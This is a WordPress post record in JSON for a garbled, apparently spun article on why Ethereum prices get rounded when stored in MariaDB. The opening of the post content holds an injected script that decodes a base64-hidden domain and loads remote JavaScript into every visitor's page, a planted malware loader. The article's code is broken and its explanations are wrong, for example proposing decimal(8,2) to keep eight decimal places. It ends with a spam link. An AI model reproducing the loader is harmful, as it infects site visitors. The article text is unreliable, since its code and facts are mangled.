{"id":1052,"date":"2025-02-07T20:37:34","date_gmt":"2025-02-07T20:37:34","guid":{"rendered":"https:\/\/hccmena.com\/?p=1052"},"modified":"2025-02-07T20:37:34","modified_gmt":"2025-02-07T20:37:34","slug":"ethereum-i-am-streaming-binance-data-in-python-but-the-prices-are-rounded-down-when-inserted-into-my-mariadb-db","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/07\/ethereum-i-am-streaming-binance-data-in-python-but-the-prices-are-rounded-down-when-inserted-into-my-mariadb-db\/","title":{"rendered":"Ethereum: I am streaming binance data in python but the prices are rounded down when inserted into my mariadb db"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=4bdf7465\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Optimizing Ethereum prices in Maridb: Preventing rounding <\/strong><\/p>\n<\/p>\n<p><strong>Introduction<\/strong><\/p>\n<\/p>\n<p>In this article, we will explore why the prices of your Ethereum are being rounded when inserted in the Mariadb database. Then we will provide a solution to avoid this and will ensure the accurate storage of the data.<\/p>\n<\/p>\n<p><strong> The problem <\/strong><\/p>\n<\/p>\n<p>Let&#8217;s take a look at some sample data for demonstration purposes:<\/p>\n<\/p>\n<p>`<code><\/code>Json<\/p>\n<\/p>\n<p>{<\/p>\n<\/p>\n<p>  &#8220;Timestamp&#8221;: &#8220;2022-02-16t14: 30: 00.000z&#8221;,<\/p>\n<\/p>\n<p>  &#8220;Priceusd&#8221;: 1.23456789<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>Note that the price is rounded to 1.23 when inserted into the database using the <code>insertion 'instruction in<\/code> in&#8217;.<\/p>\n<\/p>\n<p><strong> The question <\/strong><\/p>\n<\/p>\n<p>This rounding occurs due to the way prices are being stored in a decimal format (for example, <code>float64<\/code>). When entering data, the database may not accurately represent the original value due to errors or limitations of rounding in accuracy. As a result, the resulting price is rounded to the nearest integer.<\/p>\n<\/p>\n<p><strong> The solution <\/strong><\/p>\n<\/p>\n<p>To avoid this rounding and ensure accurate data storage, we can use the following techniques:<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p><img decoding=\"async\" alt=\"Ethereum: I am streaming binance data in python but the prices are rounded down when inserted into my mariadb db\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/065e89ba.png\"><\/p>\n<p>1. Cast as decimal<\/p>\n<\/p>\n<p>We can launch the price column for decimal (8.2) <code>instead of<\/code> float64<code>. This will allow a more accurate representation of decimal numbers.<\/p>\n<\/p>\n<p><\/code><code><\/code>Python<\/p>\n<\/p>\n<p>import pandas like PD<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Sample Data<\/p>\n<\/p>\n<p>Data = {<\/p>\n<\/p>\n<p>    &#8220;Timestamp&#8221;: [&#8220;2022-02-16t14: 30: 00.000Z&#8221;, &#8220;2022-02-16t15: 01: 45.678Z&#8221;],<\/p>\n<\/p>\n<p>    &#8220;Priceusd&#8221;: [1.23456789, 1.34567890]<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Create a Dataframe<\/p>\n<\/p>\n<p>df = pd.dataframe (data)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Cast price column for decimal<\/p>\n<\/p>\n<p>DF [&#8220;Priceusd&#8221;] = DF [&#8220;Priceusd&#8221;]. Astype (&#8220;decimal&#8221;)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Enter data into the database<\/p>\n<\/p>\n<p>df.to_sql (&#8220;my_table&#8221;, con = mecan<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>2. Use decimal library<\/p>\n<\/p>\n<p>Alternatively, we can use the <code>decimal library 'in Python to deal with decimal arithmetic and avoid rounding.<\/p>\n<\/p>\n<p><\/code><code><\/code>Python<\/p>\n<\/p>\n<p>decimal import<\/p>\n<\/p>\n<p>Decimal Decimal Decimal Decimal, GetContext<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Defines accuracy for decimal operations<\/p>\n<\/p>\n<p>GetContext (). Prec = 20<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Sample Data<\/p>\n<\/p>\n<p>Data = {<\/p>\n<\/p>\n<p>    &#8220;Timestamp&#8221;: [&#8220;2022-02-16t14: 30: 00.000Z&#8221;, &#8220;2022-02-16t15: 01: 45.678Z&#8221;],<\/p>\n<\/p>\n<p>    &#8220;Priceusd&#8221;: [decimal (&#8220;1.23456789&#8221;), decimal (&#8220;1.34567890&#8221;]]]]]<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Create a Dataframe<\/p>\n<\/p>\n<p>df = pd.dataframe (data)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Converting price columns into decimal<\/p>\n<\/p>\n<p>for column in df.columns:<\/p>\n<\/p>\n<p>    If Isinstance (DF [column] .dtype, float):<\/p>\n<\/p>\n<p>        DF [column] = df [column] .astype (decimal)<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>3. Update column type<\/p>\n<\/p>\n<p>If the column type is already defined as <code>Float64<\/code>, we can update it to the decimal using the following syntax:<code>alter table my_table modify decimal column (8,2);<\/code><\/p>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<\/p>\n<p>By applying one of these techniques, you will be able to avoid rounding and ensure accurate data storage to your Mariadb Database. Remember to adjust the column type according to your specific requirements.<\/p>\n<\/p>\n<p><strong> Example of use of cases <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/jS5HRoGaex0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<ul>\n<li>Streaming Ethereum Prices with <code>Binance<\/code> API: You can use this technique to display high frequency price data accurately.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Historical Price Analysis: Precise representation of prices is crucial for statistical analysis and visualizations.<\/li>\n<\/ul>\n<\/p>\n<p>By following these steps, you can optimize your database scheme to store Ethereum prices accurately.<\/p>\n<p><a href=\"https:\/\/esteticaesalute.com\/ethereum-is-bitcoin-a-corporation\">Ethereum Corporation<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Optimizing Ethereum prices in Maridb: Preventing rounding Introduction In this article, we will explore why the prices of your Ethereum are being rounded when inserted in the Mariadb database. Then we will provide a solution to avoid this and will ensure the accurate storage of the data. The problem Let&#8217;s take a look at some [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1052"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1052"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1052\/revisions"}],"predecessor-version":[{"id":1053,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1052\/revisions\/1053"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1052"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1052"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1052"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}